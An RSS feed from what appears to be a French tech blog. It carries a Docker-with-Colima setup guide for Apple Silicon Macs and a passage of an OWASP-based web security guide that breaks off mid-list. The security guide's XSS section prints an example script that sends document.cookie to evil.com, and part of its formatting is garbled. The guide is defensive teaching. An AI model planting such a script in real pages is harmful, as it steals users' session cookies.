<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <atom:link href="https://www.oliv134.net/rss.xml" rel="self" type="application/rss+xml"/>
    <title>oliv134</title>
    <link>https://www.oliv134.net</link>
    <description>Une concentration d'articles classés par catégories</description>
    <lastBuildDate>Sat, 14 Feb 2026 16:38:58 +0100</lastBuildDate>
    <item>
      <title>🐳 Docker sur macOS Apple Silicon avec Colima</title>
      <link>https://www.oliv134.net/docker-sur-macos-apple-silicon-avec-colima</link>
      <image/>
      <description>&lt;blockquote&gt;
&lt;p&gt;Guide &lt;strong&gt;complet&lt;/strong&gt; d’installation + bonnes pratiques + QEMU optionnel + intégration VS Code + templates &lt;strong&gt;.devcontainer&lt;/strong&gt;.&lt;br /&gt;
&lt;strong&gt;Sans Docker Desktop&lt;/strong&gt; — approche recommandée pour un environnement de dev moderne.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;🎯 Objectif&lt;/h2&gt;
&lt;p&gt;Mettre en place un environnement Docker :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ Léger et performant sur Apple Silicon (M1/M2/M3/M4)&lt;/li&gt;
&lt;li&gt;✅ 100 % open source (pas de dépendance Docker Desktop)&lt;/li&gt;
&lt;li&gt;✅ Reproductible (CI/CD friendly)&lt;/li&gt;
&lt;li&gt;✅ Intégré proprement avec VS Code (Docker + Dev Containers)&lt;/li&gt;
&lt;li&gt;✅ Compatible images Intel via &lt;strong&gt;QEMU (optionnel)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;🧠 Pourquoi ne pas utiliser Docker Desktop ?&lt;/h2&gt;
&lt;p&gt;Sur macOS, Docker ne tourne pas “nativement” (pas de kernel Linux). Il faut donc une VM Linux.&lt;/p&gt;
&lt;p&gt;Docker Desktop fournit cette VM mais ajoute :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une surcouche propriétaire + UI&lt;/li&gt;
&lt;li&gt;une consommation CPU/RAM plus élevée&lt;/li&gt;
&lt;li&gt;une licence payante en entreprise (selon conditions Docker)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 &lt;strong&gt;Colima&lt;/strong&gt; fournit une VM Linux minimaliste via &lt;strong&gt;Lima&lt;/strong&gt; avec de très bonnes perfs et un workflow CLI standard :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Docker CLI → Colima → Lima VM → Linux ARM64 natif&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;📦 1) Pré-requis&lt;/h2&gt;
&lt;h3&gt;✅ 1.1 Vérifier que tu es bien sur Apple Silicon&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;uname -m&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Résultat attendu : &lt;code&gt;arm64&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;✅ 1.2 Installer Homebrew (si absent)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Puis :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;brew update
brew doctor&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;🔧 2) Installer Docker (CLI) + Colima&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ On installe &lt;strong&gt;le CLI Docker&lt;/strong&gt;, pas Docker Desktop.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;brew install colima docker docker-compose&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;🧩 QEMU (optionnel — voir section dédiée)&lt;/h4&gt;
&lt;p&gt;Ne l’installe &lt;strong&gt;que si&lt;/strong&gt; tu dois exécuter des images &lt;strong&gt;amd64&lt;/strong&gt; (Intel) sur ton Mac ARM.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;🚀 3) Démarrer Colima (configuration recommandée)&lt;/h2&gt;
&lt;p&gt;Démarrage optimisé poste dev (à adapter selon RAM/CPU) :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;colima start --cpu 4 --memory 6 --disk 60 --arch aarch64&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Recommandations ressources&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ressource&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Valeur conseillée&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4 (ou ~½ de tes cores)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAM&lt;/td&gt;
&lt;td style="text-align: right;"&gt;6–8 Go (plus si grosses stacks)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disque&lt;/td&gt;
&lt;td style="text-align: right;"&gt;≥ 60 Go&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arch&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;code&gt;aarch64&lt;/code&gt; (ARM natif)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 Évite &lt;code&gt;x86_64&lt;/code&gt; : ce serait de l’émulation, donc plus lent.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;✅ 4) Vérifier l’installation&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker version&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tu dois voir &lt;strong&gt;Client&lt;/strong&gt; et &lt;strong&gt;Server&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Test réel :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker run --rm hello-world&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;⚙️ 5) Vérifier / fixer le contexte Docker&lt;/h2&gt;
&lt;p&gt;Colima crée généralement un contexte Docker dédié.&lt;/p&gt;
&lt;p&gt;Lister :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker context ls&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Résultat attendu : &lt;code&gt;colima *&lt;/code&gt; (l’astérisque indique le contexte actif).&lt;/p&gt;
&lt;p&gt;Si nécessaire :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker context use colima&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;📁 6) Workflow quotidien recommandé&lt;/h2&gt;
&lt;p&gt;Démarrer la VM quand tu en as besoin :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;colima start&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lancer ton projet :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker compose up -d&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Arrêter proprement en fin de journée :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;colima stop&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ Avantage : pas de daemon Docker qui tourne en permanence et consomme des ressources.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;⚡ 7) Bonnes pratiques de performance (macOS + VM)&lt;/h2&gt;
&lt;h3&gt;7.1 Préférer des images ARM64 natives&lt;/h3&gt;
&lt;p&gt;Apple Silicon = &lt;code&gt;linux/arm64&lt;/code&gt;. Beaucoup d’images sont multi-arch, mais pas toutes.&lt;/p&gt;
&lt;p&gt;Vérifier une image :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker buildx imagetools inspect nginx&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tu veux voir &lt;code&gt;linux/arm64&lt;/code&gt; dans la liste des plateformes.&lt;/p&gt;
&lt;h3&gt;7.2 Volumes &amp;amp; filesystem : règles d’or&lt;/h3&gt;
&lt;p&gt;Sur macOS, ton code est monté dans une VM Linux → I/O plus sensibles qu’un Linux natif.&lt;/p&gt;
&lt;h4&gt;✅ À faire&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Monter &lt;strong&gt;uniquement&lt;/strong&gt; les dossiers nécessaires&lt;/li&gt;
&lt;li&gt;Utiliser des &lt;strong&gt;volumes Docker&lt;/strong&gt; pour DB/cache (meilleures perfs + moins de surprises)&lt;/li&gt;
&lt;li&gt;Avoir un &lt;code&gt;.dockerignore&lt;/code&gt; strict&lt;/li&gt;
&lt;li&gt;Limiter les gros répertoires “bruyants” (ex: &lt;code&gt;node_modules&lt;/code&gt;, caches)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;❌ À éviter&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Binder tout &lt;code&gt;$HOME&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Synchroniser des centaines de milliers de fichiers inutilement&lt;/li&gt;
&lt;li&gt;Binder &lt;code&gt;node_modules&lt;/code&gt; si tu peux l’éviter&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Exemple de volume “acceptable”&lt;/h4&gt;
&lt;pre&gt;&lt;code class="language-yaml"&gt;services:
  app:
    volumes:
      - .:/app:delegated&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;🧠 8) Commandes Colima utiles&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Commande&lt;/th&gt;
&lt;th&gt;Usage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;colima start&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Démarrer la VM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;colima stop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arrêter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;colima restart&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Redémarrer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;colima status&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;État + ressources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;colima ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shell dans la VM (debug)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;colima delete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reset complet (⚠️ supprime données VM)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;📍 9) Où sont stockées les données ?&lt;/h2&gt;
&lt;p&gt;Colima stocke ses données ici :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/.colima/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tu peux y trouver configuration, disque VM, etc. (utile pour debug/backup).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;🧩 10) QEMU (OPTIONNEL)&lt;/h2&gt;
&lt;h3&gt;10.1 À quoi sert QEMU ?&lt;/h3&gt;
&lt;p&gt;Ton Mac est &lt;strong&gt;ARM64&lt;/strong&gt;. Certaines images Docker sont uniquement &lt;strong&gt;Intel (amd64)&lt;/strong&gt;.&lt;br /&gt;
QEMU permet d’exécuter ces images via &lt;strong&gt;émulation CPU&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Sans QEMU, tu peux rencontrer :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec format error&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Avec QEMU :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l’image peut démarrer&lt;/li&gt;
&lt;li&gt;mais c’est &lt;strong&gt;plus lent&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.2 Quand l’installer ?&lt;/h3&gt;
&lt;p&gt;Uniquement si tu dois utiliser :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;des images legacy non multi-arch&lt;/li&gt;
&lt;li&gt;des outils internes entreprise construits en &lt;code&gt;amd64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;certaines bases/outils “historiques”&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.3 Installer QEMU (option)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;brew install qemu
colima restart&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10.4 Impact performance&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;th&gt;Performance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ARM natif&lt;/td&gt;
&lt;td&gt;🔥 très bon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;amd64 via QEMU&lt;/td&gt;
&lt;td&gt;🐢 3× à 6× plus lent (parfois plus)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;10.5 Vérifier l’architecture d’une image&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker image inspect &amp;lt;image&amp;gt; | grep -i architecture&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;💻 11) VS Code : extensions &amp;amp; configuration&lt;/h2&gt;
&lt;h3&gt;11.1 Extensions recommandées&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt; — &lt;code&gt;ms-azuretools.vscode-docker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dev Containers&lt;/strong&gt; — &lt;code&gt;ms-vscode-remote.remote-containers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote Explorer&lt;/strong&gt; — &lt;code&gt;ms-vscode.remote-explorer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitLens&lt;/strong&gt; — &lt;code&gt;eamodio.gitlens&lt;/code&gt; (optionnel mais pratique)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;11.2 Forcer VS Code à utiliser le socket Colima&lt;/h3&gt;
&lt;p&gt;VS Code peut chercher Docker Desktop par défaut. Configure le socket Colima dans &lt;code&gt;settings.json&lt;/code&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;{
  "docker.host": "unix:///Users/&amp;lt;USER&amp;gt;/.colima/default/docker.sock"
}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Remplace &lt;code&gt;&amp;lt;USER&amp;gt;&lt;/code&gt; par ton user macOS.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;11.3 Tester&lt;/h3&gt;
&lt;p&gt;Dans VS Code :&lt;br /&gt;
&lt;code&gt;Cmd + Shift + P&lt;/code&gt; → &lt;strong&gt;Docker: Show Containers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tu dois voir les containers gérés par Colima.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;📦 12) Qu’est-ce qu’un template &lt;code&gt;.devcontainer&lt;/code&gt; ?&lt;/h2&gt;
&lt;p&gt;Un &lt;strong&gt;template &lt;code&gt;.devcontainer&lt;/code&gt;&lt;/strong&gt; permet d’ouvrir ton projet &lt;strong&gt;directement dans un conteneur&lt;/strong&gt; avec tout l’environnement prêt : langages, outils, extensions VS Code, etc.&lt;/p&gt;
&lt;p&gt;👉 VS Code exécute le workspace &lt;strong&gt;dans le container&lt;/strong&gt;, pas sur ton Mac.&lt;/p&gt;
&lt;h4&gt;Pourquoi c’est une best practice ?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;✅ Environnement &lt;strong&gt;reproductible&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✅ Zéro “ça marche sur ma machine”&lt;/li&gt;
&lt;li&gt;✅ Onboarding immédiat d’un dev&lt;/li&gt;
&lt;li&gt;✅ Alignement DEV/CI/PROD&lt;/li&gt;
&lt;li&gt;✅ Mac propre (moins d’installations locales)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;12.1 Structure typique&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;my-project/
├── docker-compose.yml
└── .devcontainer/
    ├── devcontainer.json
    └── Dockerfile   (optionnel)&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;12.2 Exemple &lt;code&gt;devcontainer.json&lt;/code&gt; (avec docker-compose)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;{
  "name": "Dev Environment",
  "dockerComposeFile": "../docker-compose.yml",
  "service": "app",
  "workspaceFolder": "/workspace",

  "customizations": {
    "vscode": {
      "extensions": [
        "ms-azuretools.vscode-docker",
        "ms-vscode-remote.remote-containers",
        "eamodio.gitlens"
      ]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ce fichier :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;démarre &lt;code&gt;docker compose&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;se connecte au service &lt;code&gt;app&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;monte ton code dans &lt;code&gt;/workspace&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;installe les extensions VS Code listées&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;12.3 Exemple Dockerfile “dev” (optionnel)&lt;/h3&gt;
&lt;p&gt;Si tu veux un conteneur spécifique au développement (outils, debug, etc.) :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Dockerfile"&gt;FROM php:8.3-cli

RUN apt-get update &amp;amp;&amp;amp; apt-get install -y \
    git unzip curl ca-certificates

# Exemple: dépendances PHP
RUN docker-php-ext-install pdo pdo_mysql

# Exemple: xdebug
# RUN pecl install xdebug &amp;amp;&amp;amp; docker-php-ext-enable xdebug&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;12.4 Utiliser Dev Containers dans VS Code&lt;/h3&gt;
&lt;p&gt;Ouvre le dossier du projet, puis :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Cmd + Shift + P&lt;/code&gt; → &lt;strong&gt;Dev Containers: Reopen in Container&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;VS Code va :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;construire/mettre à jour l’image (si besoin)&lt;/li&gt;
&lt;li&gt;démarrer les services (compose)&lt;/li&gt;
&lt;li&gt;connecter ton IDE au conteneur&lt;/li&gt;
&lt;li&gt;installer les extensions&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;🏗️ 13) Build multi-architecture (CI/CD)&lt;/h2&gt;
&lt;p&gt;Pour builder des images compatibles ARM + Intel :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker buildx create --use
docker buildx build --platform linux/amd64,linux/arm64 -t myimage:latest .&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 Ajoute &lt;code&gt;--push&lt;/code&gt; si tu pousses sur un registry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;🧹 14) Maintenance&lt;/h2&gt;
&lt;p&gt;Nettoyage des ressources Docker :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker system prune -af&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reset complet de Colima (⚠️ supprime la VM) :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;colima delete
colima start --cpu 4 --memory 6 --disk 60 --arch aarch64&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;✅ Conclusion&lt;/h2&gt;
&lt;p&gt;Stack recommandée sur macOS Apple Silicon :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Colima + Docker CLI + VS Code Dev Containers
(QEMU uniquement si legacy amd64)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tu obtiens :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une VM Linux minimaliste et performante&lt;/li&gt;
&lt;li&gt;un workflow Docker standard&lt;/li&gt;
&lt;li&gt;un environnement dev reproductible et industrialisable&lt;/li&gt;
&lt;li&gt;une intégration IDE propre, portable et scalable&lt;/li&gt;
&lt;/ul&gt;</description>
      <pubDate>Sat, 14 Feb 2026 16:30:11 +0100</pubDate>
      <guid isPermaLink="false">2e099fbdf603d3e42e010b4f09eb2aa8</guid>
    </item>
    <item>
      <title>Guide complet de la sécurité des applications web</title>
      <link>https://www.oliv134.net/guide-complet-de-la-s%C3%A9curit%C3%A9-des-applications-web</link>
      <image/>
      <description>&lt;blockquote&gt;
&lt;p&gt;Guide pédagogique et pratique basé sur l’OWASP (Top 10, ASVS, Cheat Sheets) et les bonnes pratiques reconnues en sécurité applicative.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ce document a pour objectif de fournir &lt;strong&gt;une compréhension exhaustive de la sécurité des applications web modernes&lt;/strong&gt;, incluant :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Frontend (SPA, web, mobile)&lt;/li&gt;
&lt;li&gt;Backend API (REST / GraphQL)&lt;/li&gt;
&lt;li&gt;Authentification et autorisation&lt;/li&gt;
&lt;li&gt;Bases de données, ORM et persistance&lt;/li&gt;
&lt;li&gt;Sécurité par conception (Secure by Design)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Modèle mental de la sécurité web&lt;/h2&gt;
&lt;p&gt;La sécurité applicative repose sur quatre piliers fondamentaux :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Authentification&lt;/strong&gt; : Qui est l’utilisateur ?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Autorisation&lt;/strong&gt; : Que peut-il faire ?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confidentialité&lt;/strong&gt; : Les données sont-elles protégées ?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intégrité &amp;amp; disponibilité&lt;/strong&gt; : Le système est-il fiable et accessible ?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Toute attaque vise à &lt;strong&gt;affaiblir, contourner ou casser au moins un de ces piliers&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Principe fondamental :&lt;br /&gt;
&lt;strong&gt;Tout ce qui vient du client est hostile par défaut.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Architecture moderne : Frontend + API&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;```&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;[ Navigateur / Application mobile ]&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;HTTPS + Token (JWT / OAuth2)
v
[ API Backend ]&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;v
[ Base de données ]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
### Règles essentielles

- Le frontend **n’est jamais digne de confiance**
- Toutes les validations de sécurité doivent être faites côté backend
- Le réseau est considéré comme compromis
- L’API doit être sécurisée indépendamment du frontend

---

## 3. OWASP Top 10 – Vue d’ensemble

Les vulnérabilités les plus critiques selon l’OWASP :

1. Broken Access Control
2. Cryptographic Failures
3. Injection
4. Insecure Design
5. Security Misconfiguration
6. Vulnerable and Outdated Components
7. Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures
10. Server-Side Request Forgery (SSRF)

Ces catégories couvrent **l’immense majorité des failles critiques observées en production**.

---

## 4. Broken Access Control (Contrôle d’accès cassé)

### Description

Le backend ne vérifie pas correctement **ce que l’utilisateur est autorisé à faire**.

### Exemples d’attaques

- Accès aux données d’un autre utilisateur :&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GET /api/users/42&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Modification de privilèges via un champ JSON&lt;/li&gt;
&lt;li&gt;Accès à des routes administrateur sans droits&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Causes fréquentes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Absence de contrôle serveur&lt;/li&gt;
&lt;li&gt;Confiance dans le frontend&lt;/li&gt;
&lt;li&gt;Règles d’accès dispersées dans le code&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Contremesures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Vérifier les autorisations &lt;strong&gt;à chaque requête&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Centraliser les règles d’accès&lt;/li&gt;
&lt;li&gt;Implémenter RBAC (roles) ou ABAC (attributs)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-php"&gt;if ($user-&amp;gt;id !== $resource-&amp;gt;owner_id) {
    throw new ForbiddenException();
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Injection (SQL, NoSQL, Command, LDAP…)&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Une injection survient lorsque des données utilisateur sont interprétées comme du code.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;SQL Injection&lt;/h3&gt;
&lt;p&gt;❌ Code vulnérable :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sql"&gt;SELECT * FROM users WHERE email = '$email'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✅ Code sécurisé :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sql"&gt;SELECT * FROM users WHERE email = ?&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Injections et ORM&lt;/h3&gt;
&lt;p&gt;Les ORM &lt;strong&gt;réduisent le risque&lt;/strong&gt;, mais &lt;strong&gt;ne le suppriment pas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;❌ Dangereux :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-php"&gt;$qb-&amp;gt;where("u.email = '$email'");&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✅ Sécurisé :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-php"&gt;$qb-&amp;gt;where('u.email = :email')
   -&amp;gt;setParameter('email', $email);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Contremesures générales&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Requêtes préparées uniquement&lt;/li&gt;
&lt;li&gt;Aucune concaténation dynamique&lt;/li&gt;
&lt;li&gt;Validation stricte des types&lt;/li&gt;
&lt;li&gt;Principe du moindre privilège côté DB&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;6. XSS – Cross-Site Scripting&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Injection de JavaScript malveillant exécuté dans le navigateur de la victime.&lt;/p&gt;
&lt;h3&gt;Exemple&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;script&amp;gt;
fetch('https://evil.com/steal?c=' + document.cookie)
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Types de XSS&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Stored XSS (persistant en base)&lt;/li&gt;
&lt;li&gt;Reflected XSS&lt;/li&gt;
&lt;li&gt;DOM-based XSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Contremesures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Échapper toutes les sorties HTML&lt;/li&gt;
&lt;li&gt;Utiliser des frameworks avec auto-escaping&lt;/li&gt;
&lt;li&gt;Activer les headers de sécurité&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class="language-http"&gt;Content-Security-Policy
X-Content-Type-Options&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Cryptographic Failures&lt;/h2&gt;
&lt;h3&gt;Problèmes fréquents&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Données sensibles non chiffrées&lt;/li&gt;
&lt;li&gt;Algorithmes obsolètes (MD5, SHA1)&lt;/li&gt;
&lt;li&gt;Mauvaise gestion des clés&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bonnes pratiques&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS (TLS 1.2+)&lt;/li&gt;
&lt;li&gt;Chiffrement au repos&lt;/li&gt;
&lt;li&gt;Rotation des clés&lt;/li&gt;
